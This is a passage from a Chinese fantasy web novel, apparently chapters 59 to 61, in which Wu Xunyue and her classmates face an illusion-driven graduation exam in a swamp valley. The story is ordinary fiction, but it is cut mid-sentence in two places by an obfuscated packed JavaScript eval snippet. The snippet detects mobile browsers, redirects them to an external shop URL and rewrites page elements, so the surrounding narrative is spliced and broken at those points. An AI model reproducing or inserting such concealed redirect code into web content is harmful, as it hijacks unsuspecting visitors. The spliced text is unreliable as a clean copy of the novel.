巫寻月与所有人一同挺胸抬头,拔直而立,在老师的号令下转身走向出发的方向,按照事先所安排的列阵以待——她为唯一真灵,于最前排居中而站。 因此,她很好找,甚至根本不用找,司城凛一眼就能锁定。 本届五百一十四名毕业生皆有序列阵,再听一声号令,前三排学生提步向前,来到了没有护栏的悬崖之滨。 身后是亲友和学弟学妹们的欢呼和掌声,以及……他的目光。而身前,是薄云依稀的万丈悬崖,还好今日云淡风轻,能看清前方路况,定是老天的祝福。 梅晏晷一声令下,巫寻月与同排六位同学一起,毫不犹豫地纵身跃下,接着第二排,第三排,首发毕业生全部出发完毕。 而一旁围观的人群中,立刻有人高喊道:“——她不见了!巫寻月不见了!” “——在那!竟领先了这么多!又不见了!” 梅晏晷转身看了司城凛一眼,见他一言不发地向前望去,目光沉凝,一丝不苟。自然,在这两位封号灵师眼中,巫寻月的轨迹仍如慢动作般帧帧可见,可的确在与她同时出发的人之中,已难寻她身影。 梅宴晷一道望了过去,出言提醒道:“今年毕业大考,问心尊者恐不同往日,需多加小心。” 司城凛未收回目光,稍迟才应了声:“好。” 御风飞行了数十里,一路翻山越岭,穿河过桥,约一刻钟后,巫寻月在一处山谷前的开阔地带见到了一面巨大的乌金鹍旗帜,周围分布着数十位身着统一制服的老师,以及……清一色玄青色官服的九部令部众。巫寻月朝着那旗帜,转向落地。 教师队伍以梅见蹊为首,现任家主送行,继任家主相迎并陪护,寓意从现在出发,前往未来,展现了学校对毕业生的无上珍视。只是独梅见蹊一身以浅云为底、绣织金乌金鹍图纹的广袖长袍,倒是与他一贯不羁之派相契得很。 巫寻月一落定,梅见蹊便迎上前来,笑意如山间清风,徐徐常在。未近他就开口:“料定是你先到,却还是低估了几分,遁术有如此造诣,可不知是偷拜了谁为师?” 巫寻月不客气地回应他如戏的目光,自然他暗指的是司城凛,虽她的确以他为信仰,可她实实在在的师父却是小白。她恭维道:“自然是以梅老师您为目标,追随您的脚步。” “我可不敢当。”梅见蹊摆了摆折扇,与她交换一个心知肚明的眼神。此时另一边的千山昙现已来到近旁,梅见蹊便介绍道:“这是九令副座,千山昙现——今年由司城封座任监考官,你该见到了,为保你们顺利考试,千山副座一早便率部众在此相护多时了。” 巫寻月转向千山昙现,行礼道:“多谢千山副座及九部令相护。” 千山昙现看清了她的模样,神情转而恍然大悟,一笑起来,显得有些憨直:“早听闻本届毕业生中有双修真灵,今日终于一见,你这遁术可比我部中诸多训练有素的真灵级灵师还要高强,若能来我部……” “哎——千山副座,”梅见蹊用折扇拍了拍他,言辞冠冕堂皇,眼神却狡黠得很,“人家还没考试,倒不必急着此时招揽,且控制系医疗系双修真灵千古一见,你的面子可不够,等毕业大考结束,请你家封座大人亲自登门招揽,也不迟啊。” “啊是是是,这位同学,是我着急了。”千山昙现浑身上下看起来凑不出一个心眼,他顿了顿,公事公办的语气一收,压了压声,眼底笑意更浓,却也多了几分无奈:“……还有,我部燕云停兄弟,请我代为转达,他说‘愿寻月同学旗开得胜,一往无前’……这个,云停本想亲自前来护……呃,维持秩序,但部中安排不可违,这才托我多加留心,望你体谅。” 话音未落,稍远处一片玄青色的九部令部众间,涌起几声压低却也明显的哄笑。 梅见蹊笑容一僵,人定在那里,眼珠子却走了几处,最后落在巫寻月脸上——她的脸色,比梅见蹊更难看。在巫寻月灵压暴起之前,梅见蹊用折扇轻敲她的肩,一道灵力瞬间灌入她体内,寒凉入骨,让她彻底冷静下来。梅见蹊提醒道:“还不谢谢千山副座。” 巫寻月赶紧躬身行礼:“多谢千山副座及九部令诸位前辈。” 她起身时,落后的同学也纷纷到达了,梅见蹊与千山昙现一同前去相迎,终于留给她一段冷静的时间。 若换了别的姑娘置身这一场景,该会心生欢喜,觉着心悸如蜜,可偏偏——这是九部令,司城凛的九部令。不远处那些意味不明的嬉笑,如根根银针,刺得她好痛,现下的局面,燕云停定然已将与她的往来在九部令中广而告之,且绝不只是他单相思——燕家大少爷怎可能单相思? 或许燕云停想借此展现他爱她之意多得人心,他将她看得多重,他有多珍视她以她为傲,他不介意所有人都知道他心里的位置独留给她,甚至给自己立了贞节牌坊拒绝其他的莺莺燕燕……但这是九部令,是司城凛的九部令,所以他大错特错,适得其反。 且不论她与司城凛有无可能如何,今后,但凡她对司城凛的心意为人所知,她必定会遭人非议——连神都望族嫡长子都看不上,一心只攀那至高无上的宗门之首,当真是心比天高,心机深沉。 难不成,她还要挨个向人自证,她对司城凛早已一往情深多年。仅仅是此刻不远处那个别的窃窃私语,已让她觉得寒冷刺骨,感到一种百口莫辩的屈辱。 至此,燕云停在她心中一跌万丈,不再剩一丝余温。 巫寻月怅然失神,不知什么时候毕业生已全员到齐,直至听见九部令所有人正身立定,一齐发出铿锵有力之声:“——封座大人!” 她恍然回神,只见司城凛的长幅广袖正掠过最前排毕业生,来到她面前。在所有同学紧张的目光中,他始终冷彻如玉,声线深沉如檀,而字字有力:“本座为监考官,只负责在旁监护,现需先行入内检查,祝愿各位——考试顺利。” 毕业生们一齐向他行礼,高昂道:“谢司城封座——” 千山昙现随司城凛走了,梅见蹊再强调了一遍考试流程、注意事项,接着老师们分发每人一只解煞铃。这铃作为放弃本次考试之用,以简单灵力触发,考场外便能感应到,派出老师前去接应,同时幻术解除,生成结界,以待老师过来将人带出考场。 梅见蹊高举左手,一只佩戴好的解煞铃正系于他左腕,他扬声道:“这是解煞铃,在学校里老师们已多次教过你们用法,若还有不会的同学,现在立即举手报告——” 梅见蹊等了等,见无人举手,又道:“现在解煞铃尚处沉寂,此时咒语无效,你们所有人大声将咒语念一遍,来——” 五百一十四人一齐高喊:“幻灭解煞,灵垣自生!” “很好,”梅见蹊难得表现出完全的严肃,“我再强调一遍,听好了,每年都有毕业生因为各种原因出错,导致留级或延毕!一,等会老师为大家统一催醒解煞铃,之后不可再随意以灵力催动念咒!切记此咒一触即发,当场取消考试资格,送返学校!二,使用此铃之前,务必考虑清楚,是否真的要放弃本次毕业大考,放弃今年毕业资格!三,若真用了此铃,结界生成之后,静待原地,不许再动,老师会立刻前去接应——若有不明白,现在立刻提出。” 毕业生间鸦雀无声,梅见蹊欣慰地点了点头,最后说:“那么——出发吧。” 早已等候在旁的西老师站了出来,笑着举手号令道:“首发阵容——跟我走!” 巫寻月见到她,和身边的同学们一样惊喜,纷纷唤道:“西老师!怎么是你!”“是你带我们进入沉梦谷吗?” 西老师依旧温柔:“是,老师陪你们走完最后一程,来吧。” 在其余毕业生的欢呼相送中,二十一人为打头阵,提步跟上西老师的脚步。身后医疗系的同学们大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕学文不服:“那我不是也帮你写了一份?你这人也太记仇了。” “哈哈哈哈……” 吵闹间,一位高挑女生执枪走向另一个男生,道:“你就是水间澈?一年级时三重灵,且非神都世族,如今却是强攻系第一名,佩服佩服,早听闻你的名头,却一直未有机会一战。” 水间澈也生得高大,双刀配于腰间,十足的强攻系之相。他先是一怔,而后认真打量那女孩,猜测道:“你该不会是……第二名的香宿雪?” 香宿雪一脸傲相,似乎这名字与生俱来荣誉感:“正是。” 另一头,慕学文忽然又出声:“哎香宿雪,我还一直没机会问你呢,你太爷爷可是控制系封号灵师,怎的到你这变成强攻系了?该不会就为了好毕业吧?” 香宿雪听了,回击得毫不客气:“我自幼爱舞刀弄枪,还是我太爷爷鼓励我打破外人对我香家刻板印象,选择强攻系呢,强攻系和控制系本是左右之别,何来上下之分,倒是你——你二年级控术险些不及格,回家被你姐姐暴打一顿,可还是硬着头皮选控制系,我倒是敬你勤能补拙,今日还能站在这里。” “宿雪说得极是。”巫寻月站了出来,在这里她算慕学文半个姐姐,必须得出来管管:“大家既能一同走到这里,说明不仅每门课程皆是佼佼者,还有自己特别的长处,并无上下之别——宿雪,慕学文这厮在家里被惯坏了,虽贫嘴却也是无心,你切勿挂怀。” 慕学文还想说些什么,被身边的东方曜掐了一把,让他闭嘴。 “我才稀得理会他,”香宿雪转身看向巫寻月,又看了看水间澈,说,“分专业时看你选了医疗系,我还道可惜,可当听到别人知我选了强攻系也觉得可惜时,我才明白,我们不过都是跟随心之所向而已。今年优秀毕业生中非世族子弟不少,且竟还有双修真灵奇才,是我过去偏见了,愿今日我们能痛快一战,顺利毕业才好。” 香宿雪向两人行礼后,转身走了。水间澈跟着走近巫寻月,浅笑道:“六年级时听许多人找你一战后颇有进益,我当时苦于升九重灵瓶颈,原想找你一试,可后来不知怎的学校又管得严了许多。” 不远处的东方曜听了,脸色一变。巫寻月莞尔一笑,说:“怪我出手没个分寸,将许多同学误伤——我刚没听清,你是?” “水间澈,西凉渡人。”水间澈向她行礼。 “巫寻月,”巫寻月回了礼,又问,“你非神都世族?可我当年在入学考试中,似乎并未见到你。” 水间澈说:“我父母也是灵师,祖父辈往上却不是,因此我不算世族。我虽于十二岁开灵,却未想定是否要离家来神都求学,成为灵师,到了十四岁方才打定主意,父母这才送我来参加了都内入学考试。” “原来如此,所以你是十四岁入学的?” 水间澈一笑:“和你一样,十五岁,在这些人中,我们可是大哥哥大姐姐了。” “是呢,哈哈……”巫寻月和他一同笑了起来。 既是作为大哥哥大姐姐,两人便带起头来,收起轻松气氛,转入备战状态了。按照考前训练的布阵,他们将以锋矢阵姿态排列,以突进山谷深处。 东方曜一听巫寻月招呼大家收心,立刻站了起来,走到最前方,大喝一声:“——列阵!” 60. 第 60 章 余下二十人一听,立即以他为基准,各自瞬移至自己的位置——慕学文站到他正前方最远处,水间澈和香宿雪分立慕学文两侧居后,三人形成三角,此为阵型最前,成箭矢攻势。往后,四位强攻系并排,再往后,八位控制系分两列并列,将三位医疗系圈在其中,还剩两位强攻系于左右两翼戒备,最后一位控制系垫后。 垫后的人是东方曜,而慕学文在最前,因为——东方曜是阵型课第一名,慕学文是防御类控术第二——第一是巫寻月,慕丹青一看他是第二,原是要揍的,一看第一是她姐妹,那没办法了,确实打不过。 七年下来,除了阵型课第一是东方曜,攻击类控术第一是香宿雪,武术第一是水间澈以外,其他全是巫寻月第一。因此,在考前训练中,冷夷行便决定让东方曜作为列阵指挥。 列阵完毕,东方曜再喝一声:“——出发!” “一面盾”阵型一同迈步,向沉梦谷深处前进。一路行进,眼前所见,古木参天,藤蔓垂落,充沛的灵气几乎凝成实质薄雾,却也难辨其中险象,叫人顿生紧张。 巫寻月仔细观察着周边环境,感受着空气中四散的灵气奥秘,一时间,多年前堪舆课本中的基础之理飘然入脑——“运灵之道,在于天人合一。顺天时而动,就地势而发,则术法威能倍增。”而此处草木茂盛,与她的草木之灵相合,若是在此间施展医疗系必杀技,效力将大幅提升。 他们走了有一会了,四下静得出奇,连一声鸟叫都没有,只有行进的脚步声,静谧透着十足诡异。偶然有人踢到沟壑险些绊倒,还差点自己吓自己。 朝黎皱眉道:“怎么会一只鸟叫也没有?难不成是问心尊者跟他们说好了,今日神都学宫毕业大考,叫他们不可来此相扰?” 此言颇有乐趣,缓解了几分紧张,南义宸乐道:“没准正是如此。” 东方曜的声音从身后传来:“寻月,你观之如何?” 巫寻月神色谨慎,道:“草木灵气极馥郁,让我莫名生出亲切,可,隐约也察觉到这其中有股不可冒犯的力量,辨不出方向,好像无处不在……” “哎呀——”慕学文向后瞪了一眼,“香宿雪,你别踩我啊!” “我错了还不行嘛。”香宿雪撇撇嘴。 水间澈始终远望,忽然注意到:“前面好像要出林子了,中间好像有块空地。” 巫寻月也瞧见了:“光线明晰了些,该是有块很大的空地,顶上没有树木遮蔽,可这灵雾太厚,阳光也照不进来。” “一面盾”朝着那隐若之光渐近,中间开阔地带也越发看得清楚,为首的慕学文盯着中间巨物,惊道:“那是什么!” 香宿雪最先反应过来:“是巨兽的骸骨!” 从他们此处望去,只能看见成排朝天指向的石化排骨,水间澈的个头高些,视野更阔,确认道:“是骸骨!我看到头了!” 阵型加速前行,越往前,那尊骨架越发完整真切,巫寻月略略观察,发觉那骨架竟比小白还要大数倍——甚至十倍!心底悚然发凉……这要是个活物,他们还能活吗? 朝黎忍不住抓住巫寻月的手,说:“寻月,那是什么啊?太可怕了!” 巫寻月还在凝神细看,苦想一番后,猜道:“看起来……像是寂灭磐鼍,我也只在图书馆里偶然翻过,说是一种史前巨兽,形似鳄,而头似马……看那脊骨、尾骨,再看头骨,最显著的是前爪较短,该是很像。” 朝黎一阵发怵:“太可怕了,怎么家里竟没人跟我说过沉梦谷里有这些!” 前头还有同学在议论:“那问心尊者不会也如这巨兽一般可怕吧?真要我们一群小孩儿打这等巨兽?” “先别自己吓自己,这不过是具骸骨,定然已是死透多年了……” 终于,他们来到树林边沿,可为首的慕学文却急刹住了脚,惊道:“——竟是沼泽!” 全员急刹站定,随着慕学文后退,全体后退两步。慕学文细察之后,再次确认:“的确是沼泽,这一大片全是沼泽!” 而那座巨兽骨架,就沉睡于这片死寂沼泽之中,墨绿色的浮游植物密织如网,覆盖了整个水面,而偶开的水面之下,幽暗如渊,仿佛蛰伏着亘古杀机。腐叶与浊水在那座巨型骨架间无声吞吐着瘴气,仿佛巨兽残存的呼吸,警告众生。 巫寻月定神一看,竟还有些惊喜:“那是祛秽涟!是一种少见的灵草,可解剧毒,重生骨血!” 南义宸听闻,也仔细察看:“还真是祛秽涟,竟是长在这么危险的地方……” 前面有人问:“还有没有别的路?” 众人纷纷瞭望,这一片沼泽宽阔不见边沿,既是横亘在他们面前,想来不是偶然。最先给出结论的人是东方曜:“我们应该,得从这沼泽过去。” 立即有人犯怵:“——啊?真的吗?该不会穿过去时,那湖面窜起来什么东西吧!” “真要在这考啊?我最不擅水上遁术,还想着定不能分进五、六部令呢……” 香宿雪发话了:“我倒是听我太爷爷说过……这沼泽,是沉梦谷中最复杂最困难的地形,出现了说明今年的毕业大考较往年难度大增,是专为灵力高强的毕业生们准备的。” 站在最后的东方曜附言道:“没错,上一次出现,是司城封座毕业的那年,只有司城封座一人来此应考。” 巫寻月吃惊地看着他——你真是他铁粉啊,哪来那么多连我都不知道的冷知识? 可眼下巫寻月顾不上了,有同学向她投来目光,朝黎也忍不住问:“寻月,这你能行吗?我也有点害怕……” 巫寻月总不能大放厥词,她镇定下来,沉声道:“还不知会遇到什么危险,可我们总也不能畏缩不前。” 此时,站位在左翼的一位强攻系女生突然开了口,语气笃定:“没错,既无别的去路,只能硬闯了。” 巫寻月稍有吃惊,向她看去。她是祁素心,一向话不多,一年级时个子不高,看起来文文弱弱的,长大后身板也娇小得很,后来见她修成强攻系九重灵,巫寻月还大吃一惊,果真是不可貌相。 最前面的慕学文高声喊:“——大家准备好了吗?” 有人稍有犹豫,但终是所有人都陆续应了“好”。 东方曜一声令下:“注意戒备,全体前进!” 二十一人保持着队形,驭风而起,开始穿越沼泽。越入其中,迷雾越浓,甚至最后的东方曜都有些看不清前面的慕学文了。 渐入湖心,离那巨兽骸骨也越近。突然,慕学文一声高喊:“——脚下有动静!” 所有人停下,仔细一听,果然有微微滚动从湖底传出,东方曜高呼:“全体戒备!控制系,做好防御准备!” 强攻系同学纷纷架起了武器,控制系同学们运起灵力,而医疗系三人则要负责解毒、接应以及辅助防御。医疗系三人中,论医术朝黎第二,论能打南义宸第二,而按考前训练,巫寻月必然要放出必杀技,则需将她合围其中给足她施展时间,因此,此时的阵型中,南义宸垫后辅助东方曜,朝黎和巫寻月则在中间。 湖底那轰隆响动越发震耳,就在所有人心提到了嗓子眼之际,脚下的幽绿水面骤然破裂——“轰——”一阵巨响,八道巨型水流如挣脱束缚的凶蟒,自沼泽深处一齐激射而出,水花迸溅如千万颗碎裂的牙齿,然而刚蹿出水面,八道水柱竟四散分裂,如巨兽张开巨爪,朝着团队外围冲天而起。 东方曜最先反应过来:“——不好!换阵!纵横合一阵!” 二十人虽处高度惊惧,却仍及时、冷静地听从了他的指令,迅速瞬移改位,眨眼间,阵型已面目全非——“盾牌”幻化成了“圆盘”,医疗系三人居中心,控制系十人分布于中层,强攻系八人从八方护住外围!以医疗为核心,以控制为壁垒,以强攻为利刃,此阵型针对来自四面八方的攻击,而东方曜竟是在瞬间反应过来的! 水柱升至与他们齐平,顶端疯狂翻涌、塑形,瞬息间幻化出八张扭曲而狰狞的面孔——空洞的眼窝流淌着污水,张开的大口中竟发出咆哮,那八张可怖鬼脸持续上升,居高临下地将团队合围,死死“盯”住了阵型中每一个惊骇的身影。 东方曜稍侧脸,问身后之人:“准备好了吗?” 巫寻月给了他坚定的回答:“准备好了!” “——来!” 那八面水鬼像是也冲着这指令似的,话音一落,同时朝他们发起了攻击。八位强攻系同学绝地而起,各自冲向了水柱——正正好好是八道攻击,他们内心已然明白,这是给他们的首场考核。 八位强攻系同学才一同出击,东方曜紧接着又是一声喝令:“——防御!” 话音落下,十位控制系同窗齐声呐喊:“——星罗天覆!” 齐声吟诵之间,指诀迅速变幻,霎时间,每人身前灵光涌现,十道刻满上古符文秘箓的金色光轮瞬间展开。十人共同保持着大小相同、成形稳定的光轮,再待东方曜一声令下:“——开!”十人当即同步展开双臂,那光轮也随之延展、放大,边缘与相邻光轮交叠后即刻相融、嵌合。 而在那面盘之上的符文链条,也如活物般延伸交织,形成合力,固若金汤,只见金光向上穹顶,向下覆地,很快,一道符文流转不息的金色半球形结界轰然合拢,将全体队员牢牢护在其中。 结界已成,过半数的同学不住喊了声:“寻月!” 巫寻月嫣然回应:“来了!” 接下来,是巫寻月的主场。只见她飘然起身,凌空高于众人,双臂抬起间灵流已浑然成形,接而十指轻柔微动,于空气中划开无形的水波,而她的灵力便如涟漪,随之悄然扩散。 突然,巫寻月眼神一沉,高呼:“——醒春令!” 霎时间,她体内如流灵力似与这山间草木之灵琴瑟和鸣,同频呼吸,弥漫在空气间的灵气缕缕向她奔涌而来,在她掌心下汇聚成一片温暖的光湖。 悄然间,众人脚边一株株青翠嫩芽“破土而出”,精准而轻柔地缠绕上每一位同学的足踝,触感微麻,却散发着精纯治愈之灵,带来一股令人心安的生命源力。 她给她的医疗系真灵境必杀技命名为——醒春令。醒春之灵,万物复苏。这术法极为温柔灵动,无声无息,原是无需吟诵的,但考前训练时那突然冒出的藤芽吓了许多同学一跳,于是他们便约定,她在发动术法时吟诵一声,好提醒众人注意。 辗转间,那藤蔓骤然变得更为粗壮,如向阳生长一般攀附着众人腿部而上,却并未叫他们感到不适或疼痛。缠绕间,蔓藤悄然将每一位同学的灵力特征传回自身脉络,从而形成精准识别——此术法能让人于她百步以内接收到她的灵力治愈,若是重伤,则最好回归于她近旁贴地,让蔓藤更快将其包裹加速治愈。一般来说,人数在十人左右效果覆盖最佳,现下毕业大考如此情形实有些超载,巫寻月但愿那问心尊者不要将他们往死里整为好。 识别之后,契定已成,蔓藤迅速退回了地下,而以巫寻月为核心的百步之内,从此便有灵光隐现,以提示治愈可达范围。她在,那灵光在;她亡,则那灵光亡。 此时,八位强攻系同学已与那些水柱一番缠斗,有些吃力。只听东方曜一声喝令:“——退!”八人一齐后退,从十位控制系同学的插空间回到“星罗天覆”之中,巫寻月再催动灵力,那些蔓藤重新崛起,重新识别这八位同学。 东方曜再令:“——出!” 十人一同迈步跨出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954933|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结界,再共同起身,奔向各自的空域。与此同时,三位医疗系同学迅速检查退下来的八人,施术疗伤。 而空域上方,面对依旧翻腾的鬼魅水柱,十位控制系同学手印齐结,齐声同喝:“——嶂岩诀!” 一时间,沉梦谷的大地随之轰鸣,沼泽沿岸的坚实土地开始剧烈震动,无数支缠绕着灵光的巨大岩枪破土而出,如一片瞬间拔地而起的石林,直扑水柱。 随着术诀指引,道道岩枪带着大地的沉浑怒吼,朝着那八道水柱悍然撞去,于水流间穿插而过,浞水与岩枪一番缠扭之后,那张张水魅面容越发变得扭曲黯淡,渐渐溃散还原为普通浑水,轰然倒塌而下,犹如八条凶蟒被钉死在了大地的刑架之上。 朝黎在结界内激动大喊:“成功了!” 巫寻月却未有轻松之色:“如此轻松,恐怕只是第一轮攻击。” 香宿雪同样沉凝:“是,我们还未见到问心尊者真正的幻象。” 十位同学退回阵型之时,那些水柱也缩回了水面,在一阵巨大的轰隆震响之后,水面逐渐归于平静。 东方曜再提醒:“大家小心,持续戒备!” 巫寻月最先注意到:“——那是什么?” 众人随她一同看去,只见前方那座巨型骨架之上的空域,突然化形为了水面一般,以某一点为中心向外散开层层涟漪,那波纹越扩越大,最外一圈很快抵达了他们面前…… 站在最前的香宿雪试着使出一道游龙诀,指诀施展之间,一条水形长龙从她双臂间生出,勇猛直扑那水波,却在触及的一瞬穿空而过,继续向前!那水波竟如空气般全然不存在,却肉眼可见如此清晰地朝他们涌来—— 最先抵达的外层水波,无形地穿过“星罗天覆”,一往无前地掠过了他们的身体,仿佛存在于另一个世界,丝毫感觉不到存在。 就在水波穿梭过众人之时,不免有人生畏:“这是什么?怎么什么感觉也没有!” 众人纷纷伸手触摸,可的的确确什么也摸不到,运灵感应,却也什么都感觉不到。沼泽之上恢复了虚无的宁静,那明眼可见的涟漪却令人心慌张皇,丝毫不敢放松。 水波终将他们全数覆盖,如浪潮般推向岸边后消失了。 慕学文问:“你们感觉有什么异常吗?” 众人纷纷摇头:“没有啊,什么都没有……” 突然,一道惊悚尖叫裂空发出:“——啊——” 众人在惊恐间一齐看向声音来源,竟是控制系的一位女生!她站在原地,却面容扭曲地张嘴大喊着,眼睛不知盯着何处,浑身都在剧烈颤抖! 身边一位她的好友慌忙上前查看,东方曜作为领队也跟着询问:“怎么了?怎么回事?” 好友不停地高声呼唤她的名字,她却完全听不见,还是在歇斯底里地大喊…… 就在众人四处查看究竟攻击来自何处之时,另一方位也乍起一人嘶吼:“——啊——” 这次是强攻系的一位男生,其面容举动与那女生如出一辙。水间澈离得最近,上前抓住他的手,却立即被甩开,嘴里竟大吼:“——滚开!” 其余人还来不及反应,圆形矩阵间已有多人出现异常,阵型开始溃散变形。巫寻月高喊一声:“朝黎!义宸!试试清心诀!” “好!”三人暂时无虞,于中央站成三角,各自相背朝外,整齐变换指诀,一齐施展而出——灵光闪动的青绿色灵力自三人指尖发出,迅速将外层同学环绕包围,散逸的清心之力缓缓注入他们各自的身体,却始终未能成功安抚一人异象。 慕学文大喊:“是刚才那波纹!那波纹带来了幻象!” 即便道破天机,但众人已然自顾不暇了。突然,香宿雪面色骤现惊恐,身体竟缓缓下滑,却攥紧手中的枪强撑自己,近旁的水间澈赶忙询问:“香宿雪,你感觉怎样?” 香宿雪仿佛已置身于另一个世界,完全听不见他在说什么了,最终再也无法强压镇定,放声怒吼:“——啊啊啊!滚啊!” 另一头,竟有两位同学兵刃相向了起来!一招一式皆直击要害,搏死拼杀! 东方曜顾不上阵型站位,直冲二人而去:“你们在干什么!” 可二人完全听不见他在说什么,很快从结界之内打到了结界之外。巫寻月当机立断使出两道乾坤塔,分别将二人笼罩,青烟滚滚将二人围困其中,他们却疯了一般攻击这结界,欲要逃离继续拼死相搏! “朝黎!义宸!”巫寻月急唤二人,一回头,却只见南义宸失神的脸,而朝黎已朝空中飞去,不知去往何处。 巫寻月迅速凌空而起,出手施展月流裳,两道银灰色薄纱冲天而去,眨眼间便追上了朝黎,将她紧紧包裹拖回。可朝黎回到她面前之后,月流裳才一解开,朝黎竟毫不犹豫地动手施法,朝她使出了贯日矢! 无数金色利箭直扑巫寻月而来,将还未来得及收回的月流裳尽数裂帛扑灭,巫寻月一惊,迅速腾空后闪,听见东方曜在不远处大喊:“没事吧!” 巫寻月已无暇顾及,一路后退被逼出了星罗天覆。而那道道箭矢直击星罗天覆的流光穹顶,很快,被集中攻击之处出现了裂痕…… 一时间,二十一人各自陷入混沌,乱作一团。 巫寻月于远处俯瞰各自迷失的众人,大喊一声:“——东方曜!”然而,却已无人应答。她惊惧急看向他,见到他竟变得面目可憎,带着腾腾杀气抬手运灵…… “——东方曜!”巫寻月紧急直冲向他,可已来不及了,东方曜大开控术,天顶之上乍现大片乌云电闪,几声雷鸣之后,道道金光电闪犀利俯冲,瞬间将星罗天覆的顶层炸裂开来……而原本这壁垒已有多处被攻陷,最终不再支撑,完全碎裂…… 61. 第 61 章 东方曜所施展的,是神都学宫教学之中难度系数最高的攻击类控术——天殛雷刑。据说,这其中部分心法改进自司城凛,而他也是全灵族最擅长使用此术法的灵师之一,天殛雷刑术相与司城凛灵脉极为相通,他十二岁时已能运用自如,并在十四岁时自创出与此相同意象而术式与威力更加惊撼的真灵级必杀技——云顶斩。 而现在,东方曜以一人之力施展,竟能将十位同学共同施展的星罗天覆一举击灭,其实力之强悍,若不是不巧与巫寻月同届,东方曜必定是当之无愧的第一名。 可眼下,巫寻月已无心欣赏和赞叹,因为结界中多数同学受了他术法伤害,转而群起攻之,现场再度陷入混战。 ——怎么会这样!巫寻月惶然看着这一切,原以为毕业大考团战是合力对付问心尊者,怎么会发展到了这个场面! 一时间,独自对空疯砍的,两人间兵刃相向的,几人间术法混战的……所有人乱作一团,而巫寻月早已收回醒春令之力,穿梭于这其中忙着阻隔和救人,她多次尝试了不同的解毒、解幻之法,却根本无济于事。 突然,东方曜再次凌空远离众人,汹涌灵力蓬勃而起,巫寻月预判他又要开大,出双手大声吟诵:“——月流裳!” 术法有灵,召唤其名,则与术主愈加心有灵犀,可致威力大增。两道银缎迅速出击,风驰电掣席卷向他,数息之间已分别将他双手缠绕,令他动弹不得。 下一秒,东方曜缓缓回头,狠戾之色隔空直射,他勃然大怒,浑身灵力暴动,欲要挣开那束缚。巫寻月感觉到月流裳在震颤,毕竟这不是她的必杀技,而只是一个防御类控术,封印之力终究不及,现在不过是以她真灵之力勉强支撑。可最终,东方曜一声怒吼之下,全身灵压爆震,终将月流裳震碎散开,丝屑消弭于空气间,泯然复原为了灵气。 东方曜重获自由之身,正对向巫寻月,雷霆怒色之间没有丝毫相识之谊,他缓缓握住腰间刀鞘,于今日首次将武器拔出,一个腾空径直朝巫寻月袭来。 而巫寻月,也在抽身之间将双剑紧握在手,此时她尚处居高临下,俯瞰着东方曜的身影,略略一笑,毫不客气道:“臭小子,让你寻月姐姐好好修理修理你。” 偌大的空域之上,两道刀光剑影冲向彼此,在空中撞出了阵阵爆破之力。 隔着层层云雾,远处的山谷制高处,老师们与九部令全程了然地看着这一切,山谷入口处的其余毕业生也在一同观战。 全场学生翻起一片惊恐:“怎么会这么恐怖!”“这和考前训练根本不是一个水准吧!”“我是不是完蛋了他们用的术法我根本一个都不会!” 而远离这些学生的山巅之上,司城凛与梅见蹊同排静坐,司城凛目不转睛地盯着那山谷深处,梅见蹊则是泰然自若地给自己斟了杯茶。 见他一动不动,梅见蹊取笑道:“这就紧张了?”司城凛并未理会他的戏谑,可神态也未有一丝放松。 “她都还未入自己的幻境,现下这些对她来说,根本什么都不算,”梅见蹊浅抿一口,懒懒地看向山谷,“这些小鬼人再多,加起来也打不过一个真灵——哦,还是双修真灵。” 司城凛目光未动,声线淡漠得很:“你这老师当得倒算称职。” 梅见蹊放下茶杯,伸长脖子近他,怒视道:“喂?合着我这是在帮谁盯她盯了七年啊?” 司城凛不作声。 梅见蹊没好气地回了身,抬眼一扫,见到不远处边上看热闹的千山昙现及几位部下,好心提醒道:“你可要注意了,你的小姑娘,盯着她的人可不止一个。” 山谷的沼泽之上,那座巨兽骨架依旧沉眠,与其周身吵吵闹闹的电光火石之斗判若两界,万年间的沧海桑田,斗转星移,没有一样能扰动其安然,更何况,是一群还没毕业的小鬼。 混战已进行了许久,东方曜最终因巫寻月使出的高级攻击类控术藤杀舞败阵下去。之后还不等她喘口气,一双刀魂已劈空袭来,巫寻月定睛一看,水间澈人已横亘在前,手持双刀,与她隔空对峙。 “强攻系第一名,”巫寻月饶有趣味一笑,“今日便领教了。” 这沼泽之地之所以被称作毕业大考最难地图,可不会这么安然坐视这些小鬼相斗,一场混战间,蛰伏于水面下的杀机四起,那些水鬽卷土重来,突袭于众人之间,已有同学猝不及防被击中,无法维持升力,直线下坠—— 巫寻月刚要过去,就见朝黎已先她一步俯冲,接住了那位即将落水的同学,起手施术开展治疗。巫寻月一惊——莫非朝黎已经破解了自己的幻境清醒过来了? ——那么?属于她巫寻月的幻境呢?是来了?还是没来? 现场太混乱,朝黎离得也太远,巫寻月没办法顺利过那边去,期间还得应付数十道冲天而起的水鬽,以及突然不知从哪就朝她袭来的同学,还得顾着那些被打落险些被水鬽吞没的同学……在这场考核中,其他同学需得兼顾着以遁术凌空以及袭与被袭,而医疗系的同学最为忙碌,不仅要防着挨打,要回击,还要及时救下被打落的同学…… 水间澈人长得一派雅士之相,竟也是一身蛮力,单体爆发极霸道,巫寻月最初以双剑与他短兵相接,几度被他打退,其中一剑还被他打飞进了林中不知处。巫寻月不得不以控术回击,而他运灵入刀,一刀就将她的术法劈开,险些击中她眉心。 难怪慕丹青说,即便那位强攻系灵师之首的赦罗封座仅在战力榜排至第五,排在其之前的控制系灵师可也难捱他一击,巫寻月现下总算是感受到了单体爆发之恐怖。 且,自司城靖过世,赦罗战力已升至排名第四。 